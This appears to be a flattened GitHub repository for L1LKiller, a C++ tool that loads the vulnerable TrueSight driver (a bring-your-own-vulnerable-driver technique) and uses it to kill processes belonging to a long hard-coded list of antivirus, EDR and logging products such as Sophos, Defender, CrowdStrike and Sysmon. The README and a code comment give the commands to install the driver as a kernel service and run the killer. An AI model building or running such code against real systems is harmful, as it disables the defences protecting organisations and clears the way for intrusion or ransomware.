├── L1LKiller.sln ├── L1LKiller.sys ├── L1LKiller ├── L1LKiller.cpp ├── L1LKiller.vcxproj ├── L1LKiller.vcxproj.filters └── L1LKiller.vcxproj.user ├── LICENSE └── README.md /L1LKiller.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34031.279 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "L1LKiller", "L1LKiller\L1LKiller.vcxproj", "{67795FD9-A564-42EA-943B-A2A82172765B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {67795FD9-A564-42EA-943B-A2A82172765B}.Debug|x64.ActiveCfg = Debug|x64 17 | {67795FD9-A564-42EA-943B-A2A82172765B}.Debug|x64.Build.0 = Debug|x64 18 | {67795FD9-A564-42EA-943B-A2A82172765B}.Debug|x86.ActiveCfg = Debug|Win32 19 | {67795FD9-A564-42EA-943B-A2A82172765B}.Debug|x86.Build.0 = Debug|Win32 20 | {67795FD9-A564-42EA-943B-A2A82172765B}.Release|x64.ActiveCfg = Release|x64 21 | {67795FD9-A564-42EA-943B-A2A82172765B}.Release|x64.Build.0 = Release|x64 22 | {67795FD9-A564-42EA-943B-A2A82172765B}.Release|x86.ActiveCfg = Release|Win32 23 | {67795FD9-A564-42EA-943B-A2A82172765B}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {82996B47-DC84-43C3-9F27-F611039CA337} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /L1LKiller.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/brosck/L1LKiller/5c6718b327d9930ec8579b50a394ef0b645bf01f/L1LKiller.sys -------------------------------------------------------------------------------- /L1LKiller/L1LKiller.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | [START DRIVER SERVICE IN cmd.exe] 7 | sc create l1lkiller binPath="C:\Windows\Temp\L1LKiller.sys" type=kernel 8 | sc start l1lkiller 9 | */ 10 | 11 | #define TERMINATE_PROCESS_IOCTL_CODE 0x22e044 12 | 13 | const wchar_t* blackListProcess[] = { 14 | L"SophosOsquery.exe", 15 | L"SSPService.exe", 16 | L"SophosNtpService.exe", 17 | L"SophosNetFilter.exe", 18 | L"SophosLiveQueryService.exe", 19 | L"SophosHealth.exe", 20 | L"SophosFS.exe", 21 | L"SophosFIMService.exe", 22 | L"SophosFileScanner.exe", 23 | L"Sophos UI.exe", 24 | L"SEDService.exe", 25 | L"MsMpEng.exe", 26 | L"hmpalert.exe", 27 | L"aciseagent.exe", 28 | L"acnamagent.exe", 29 | L"acnamlogonagent.exe", 30 | L"active_protection_service.exe", 31 | L"acumbrellaagent.exe", 32 | L"AgentSvc.exe", 33 | L"AGMService.exe", 34 | L"AGSService.exe", 35 | L"ALMon.exe", 36 | L"ALsvc.exe", 37 | L"Arrakis3.exe", 38 | L"aswEngSrv.exe", 39 | L"aswidsagent.exe", 40 | L"aswToolsSvc.exe", 41 | L"avastsvc.exe", 42 | L"AvastSvc.exe", 43 | L"avastui.exe", 44 | L"AvastUI.exe", 45 | L"avgnt.exe", 46 | L"avguard.exe", 47 | L"avp.exe", 48 | L"avpsus.exe", 49 | L"avpui.exe", 50 | L"axcrypt.exe", 51 | L"bdagent.exe", 52 | L"BDAvScanner.exe", 53 | L"bdemsrv.exe", 54 | L"BDFileServer.exe", 55 | L"BDFsTray.exe", 56 | L"bdlived2.exe", 57 | L"BDLogger.exe", 58 | L"bdlserv.exe", 59 | L"bdntwrk.exe", 60 | L"bdredline.exe", 61 | L"bdregsvr2.exe", 62 | L"BDScheduler.exe", 63 | L"bdservicehost.exe", 64 | L"BDStatistics.exe", 65 | L"carbonsensor.exe", 66 | L"cbcomms.exe", 67 | L"ccsvchst.exe", 68 | L"ccSvcHst.exe", 69 | L"CertificationManagerServiceNT.exe", 70 | L"CNTAoSMgr.exe", 71 | L"concentr.exe", 72 | L"coreServiceShell.exe", 73 | L"cpd.exe", 74 | L"cpx.exe", 75 | L"csfalconcontainer.exe", 76 | L"csfalcondaterepair.exe", 77 | L"csfalconservice.exe", 78 | L"cybereason.exe", 79 | L"cytomicendpoint.exe", 80 | L"CyveraConsole.exe", 81 | L"CyveraService.exe", 82 | L"CyvrAgentSvc.exe", 83 | L"CyvrFsFlt.exe", 84 | L"DarktraceTSA.exe", 85 | L"DbServer.exe", 86 | L"dlpagent.exe", 87 | L"dlpsensor.exe", 88 | L"dsmonitor.exe", 89 | L"dwengine.exe", 90 | L"ebloader.exe", 91 | L"edpa.exe", 92 | L"eegoservice.exe", 93 | L"egui.exe", 94 | L"eguiProxy.exe", 95 | L"ekrn.exe", 96 | L"epconsole.exe", 97 | L"ephost.exe", 98 | L"EPIntegrationService.exe", 99 | L"EPProtectedService.exe", 100 | L"EPSecurityService.exe", 101 | L"EPUpdateService.exe", 102 | L"EraAgentSvc.exe", 103 | L"ESClient.exe", 104 | L"ESEFrameworkHost.exe", 105 | L"ESEServiceShell.exe", 106 | L"firesvc.exe", 107 | L"firetray.exe", 108 | L"fortiedr.exe", 109 | L"fw.exe", 110 | L"Healthservice.exe", 111 | L"HealthService.exe", 112 | L"hips.exe", 113 | L"hmpalert.exe", 114 | L"iCRCService.exe", 115 | L"iVPAgent.exe", 116 | L"kavfs.exe", 117 | L"kavfsscs.exe", 118 | L"kavfswh.exe", 119 | L"kavfswp.exe", 120 | L"kavtray.exe", 121 | L"klactprx.exe", 122 | L"klcsweb.exe", 123 | L"klnagent.exe", 124 | L"klserver.exe", 125 | L"klwtblfs.exe", 126 | L"kpf4ss.exe", 127 | L"ksde.exe", 128 | L"ksdeui.exe", 129 | L"LWCSService.exe", 130 | L"macmnsvc.exe", 131 | L"ManagementAgentNT.exe", 132 | L"masvc.exe", 133 | L"mbamservice.exe", 134 | L"MBAMService.exe", 135 | L"mbamtray.exe", 136 | L"McsAgent.exe", 137 | L"McsClient.exe", 138 | L"mcshield.exe", 139 | L"mdecryptservice.exe", 140 | L"mfeann.exe", 141 | L"mfeepehost.exe", 142 | L"mfefire.exe", 143 | L"mfemactl.exe", 144 | L"mfemms.exe", 145 | L"MgntSvc.exe", 146 | L"MonitoringHost.exe", 147 | L"MSASCui.exe", 148 | L"msascuil.exe", 149 | L"MSASCuiL.exe", 150 | L"MsMpEng.exe", 151 | L"msseces.exe", 152 | L"mssense.exe", 153 | L"nissrv.exe", 154 | L"nortonsecurity.exe", 155 | L"npemclient3.exe", 156 | L"NPMDAgent.exe", 157 | L"ns.exe", 158 | L"nsservice.exe", 159 | L"NTRTScan.exe", 160 | L"ofcDdaSvr.exe", 161 | L"OfcService.exe", 162 | L"openvpnserv.exe", 163 | L"outpost.exe", 164 | L"panda_url_filtering.exe", 165 | L"pangps.exe", 166 | L"pavfnsvr.exe", 167 | L"pavsrv.exe", 168 | L"PccNt.exe", 169 | L"PccNTMon.exe", 170 | L"psanhost.exe", 171 | L"PSANHost.exe", 172 | L"PSUAMain.exe", 173 | L"PSUAService.exe", 174 | L"RouterNT.exe", 175 | L"rtvscan.exe", 176 | L"SAVAdminService.exe", 177 | L"SavApi.exe", 178 | L"savservice.exe", 179 | L"SavService.exe", 180 | L"SBAMSvc.exe", 181 | L"SBAMTray.exe", 182 | L"sbiesvc.exe", 183 | L"SBPIMSvc.exe", 184 | L"sdcservice.exe", 185 | L"SEDService.exe", 186 | L"SentinelAgent.exe", 187 | L"SentinelAgentWorker.exe", 188 | L"SentinelCtl.exe", 189 | L"Sentinel.exe", 190 | L"SentinelHelperService.exe", 191 | L"SentinelServiceHost.exe", 192 | L"SentinelStaticEngine.exe", 193 | L"SentinelStaticEngineScanner.exe", 194 | L"SentinelUI.exe", 195 | L"shstat.exe", 196 | L"SLDService.exe", 197 | L"Smc.exe", 198 | L"SmcGui.exe", 199 | L"SMSvcHost.exe", 200 | L"SonicWallClientProtectionService.exe", 201 | L"SophosADSyncService.exe", 202 | L"sophosav.exe", 203 | L"SophosClean.exe", 204 | L"SophosCleanM64.exe", 205 | L"SophosFileScanner.exe", 206 | L"SophosFIMService.exe", 207 | L"SophosFS.exe", 208 | L"SophosHealth.exe", 209 | L"SophosLiveQueryService.exe", 210 | L"SophosMTR.exe", 211 | L"SophosMTRExtension.exe", 212 | L"SophosNetFilter.exe", 213 | L"SophosNtpService.exe", 214 | L"SophosOsquery.exe", 215 | L"SophosOsqueryExtension.exe", 216 | L"Sophos.PolicyEvaluation.Service.exe", 217 | L"SophosSafestore64.exe", 218 | L"sophossps.exe", 219 | L"sophosui.exe", 220 | L"Sophos UI.exe", 221 | L"SophosUI.exe", 222 | L"SophosUpdateMgr.exe", 223 | L"soyuz.exe", 224 | L"SRService.exe", 225 | L"SrvLauncher.exe", 226 | L"SSPService.exe", 227 | L"SUMService.exe", 228 | L"svcGenericHost.exe", 229 | L"swc_service.exe", 230 | L"swi_fc.exe", 231 | L"swi_filter.exe", 232 | L"swi_service.exe", 233 | L"sysmon64.exe", 234 | L"sysmon.exe", 235 | L"tanclient.exe", 236 | L"TelemetryService.exe", 237 | L"ThreatLockerConsent.exe", 238 | L"threatlockerservice.exe", 239 | L"threatlockertray.exe", 240 | L"TMBMSRV.exe", 241 | L"TmCCSF.exe", 242 | L"tmicAgentSetting.exe", 243 | L"TmListen.exe", 244 | L"tmntsrv.exe", 245 | L"TmPfw.exe", 246 | L"tmproxy.exe", 247 | L"TmsaInstance64.exe", 248 | L"TmSSClient.exe", 249 | L"trapsagent.exe", 250 | L"trapsd.exe", 251 | L"Traps.exe", 252 | L"truecrypt.exe", 253 | L"uiWinMgr.exe", 254 | L"updatesrv.exe", 255 | L"VGAuthService.exe", 256 | L"VipreAAPSvc.exe", 257 | L"VipreNis.exe", 258 | L"vpnagent.exe", 259 | L"vpnui.exe", 260 | L"vsserv.exe", 261 | L"windefend.exe", 262 | L"winlogbeat.exe", 263 | L"wireguard.exe", 264 | L"wrsa.exe", 265 | L"xagt.exe", 266 | }; 267 | 268 | VOID Banner() { 269 | printf(R"EOF( 270 | __ _____ __ __ _ ____ 271 | / / < / / / //_/(_) / /__ _____ 272 | / / / / / / ,< / / / / _ \/ ___/ 273 | / /___/ / /___/ /| |/ / / / __/ / 274 | /_____/_/_____/_/ |_/_/_/_/\___/_/ 275 | 276 | [Coded by Brosck] 277 | [v1.0] 278 | 279 | )EOF"); 280 | } 281 | 282 | VOID Help(char* progname) { 283 | Banner(); 284 | printf(R"EOF(Usage: %s [OPTIONS] 285 | Options: 286 | single, kill processes only once 287 | loop, kill processes in a loop 288 | 289 | Examples: 290 | L1LKiller.exe single 291 | L1LKiller.exe loop 292 | )EOF", progname); 293 | } 294 | 295 | VOID Arguments(int argc, char* argv[], int* mode) { 296 | if (argv[1] == NULL) { 297 | Help(argv[0]); 298 | exit(0); 299 | } 300 | 301 | if (strncmp(argv[1], "single", sizeof("single"))) { 302 | *mode = 1; 303 | } 304 | else if (strncmp(argv[1], "loop", sizeof("loop"))) { 305 | *mode = 0; 306 | } 307 | } 308 | 309 | BOOL CheckProcess(DWORD processId) { 310 | HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); 311 | if (processHandle != NULL) { 312 | CloseHandle(processHandle); 313 | return TRUE; 314 | } 315 | return FALSE; 316 | } 317 | 318 | DWORD GetPID(LPCWSTR pn) 319 | { 320 | DWORD procId = 0; 321 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 322 | 323 | if (hSnap != INVALID_HANDLE_VALUE) 324 | { 325 | PROCESSENTRY32 pE; 326 | pE.dwSize = sizeof(pE); 327 | 328 | if (Process32First(hSnap, &pE)) 329 | { 330 | if (!pE.th32ProcessID) 331 | Process32Next(hSnap, &pE); 332 | do 333 | { 334 | if (!lstrcmpiW((LPCWSTR)pE.szExeFile, pn)) 335 | { 336 | procId = pE.th32ProcessID; 337 | break; 338 | } 339 | } while (Process32Next(hSnap, &pE)); 340 | } 341 | } 342 | CloseHandle(hSnap); 343 | if (!CheckProcess(procId)) { 344 | procId = 0; 345 | } 346 | return (procId); 347 | } 348 | 349 | int main(int argc, char* argv[]) { 350 | int mode; 351 | Arguments(argc, argv, &mode); 352 | 353 | HANDLE deviceHandle = CreateFileA("\\\\.\\TrueSight", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 354 | if (deviceHandle == INVALID_HANDLE_VALUE) { 355 | puts("[-] Failed to open driver"); 356 | return 1; 357 | } 358 | 359 | DWORD bytesReturned; 360 | puts("[*] Terminating processes"); 361 | 362 | if (mode == 0) { 363 | for (int i = 0; i < sizeof(blackListProcess) / sizeof(blackListProcess[0]); i++) { 364 | DWORD processId = GetPID(blackListProcess[i]); 365 | if (processId != 0) { 366 | if (!DeviceIoControl(deviceHandle, TERMINATE_PROCESS_IOCTL_CODE, &processId, sizeof(DWORD), NULL, 0, &bytesReturned, NULL)) { 367 | printf("[-] Failed to terminate process: 0x%X [%ls]\n", GetLastError(), blackListProcess[i]); 368 | } 369 | else { 370 | printf("[+] Process terminated: %ls\n", blackListProcess[i]); 371 | } 372 | } 373 | } 374 | } 375 | else if (mode == 1) { 376 | while (1) { 377 | for (int i = 0; i < sizeof(blackListProcess) / sizeof(blackListProcess[0]); i++) { 378 | DWORD processId = GetPID(blackListProcess[i]); 379 | if (processId != 0) { 380 | if (!DeviceIoControl(deviceHandle, TERMINATE_PROCESS_IOCTL_CODE, &processId, sizeof(DWORD), NULL, 0, &bytesReturned, NULL)) { 381 | printf("[-] Failed to terminate process: 0x%X [%ls]\n", GetLastError(), blackListProcess[i]); 382 | } 383 | } 384 | } 385 | } 386 | } 387 | 388 | CloseHandle(deviceHandle); 389 | puts("[+] Processes closed!"); 390 | return 0; 391 | } 392 | -------------------------------------------------------------------------------- /L1LKiller/L1LKiller.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {67795fd9-a564-42ea-943b-a2a82172765b} 25 | L1LKiller 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreaded 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /L1LKiller/L1LKiller.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Arquivos de Origem 20 | 21 | 22 | -------------------------------------------------------------------------------- /L1LKiller/L1LKiller.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /LICENSE: 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「⚠️」 About L1LKiller

2 | 3 | L1LKiller is a tool developed to exploit the `truesight.sys` driver of the Rogue Anti-Malware Driver 3.3 software through the BYOVD (Bring Your Own Vulnerable Driver) technique. About 1 year ago this vulnerability was fixed and currently the driver is present in [LOLDrivers](https://www.loldrivers.io/drivers/e0e93453-1007-4799-ad02-9b461b7e0398/) (Living Off The Land Drivers). I developed this project at the time of the release of the discovery of this driver, where I was able to successfully perform the test on Sophos EDR. Since there is already a mitigation, I decided to publish this project that I kept private for a while. 4 | 5 | ## Demonstration 6 | 7 | https://github.com/user-attachments/assets/e9ec29cb-6869-44c2-8649-0a545c30d2e9 8 | 9 | ## Help 10 | 11 | ``` 12 | __ _____ __ __ _ ____ 13 | / / < / / / //_/(_) / /__ _____ 14 | / / / / / / ,< / / / / _ \/ ___/ 15 | / /___/ / /___/ /| |/ / / / __/ / 16 | /_____/_/_____/_/ |_/_/_/_/\___/_/ 17 | 18 | [Coded by Brosck] 19 | [v1.0] 20 | 21 | Usage: C:\Windows\Temp\L1LKiller\L1LKiller.exe [OPTIONS] 22 | Options: 23 | single, kill processes only once 24 | loop, kill processes in a loop 25 | 26 | Examples: 27 | L1LKiller.exe single 28 | L1LKiller.exe loop 29 | ``` 30 | 31 | ## Usage 32 | 33 | In cmd.exe as administrator: 34 | ``` 35 | sc create l1lkiller binPath="C:\Windows\Temp\L1LKiller\L1LKiller.sys" type=kernel 36 | sc start l1lkiller 37 | L1LKiller.exe single 38 | ``` 39 | --------------------------------------------------------------------------------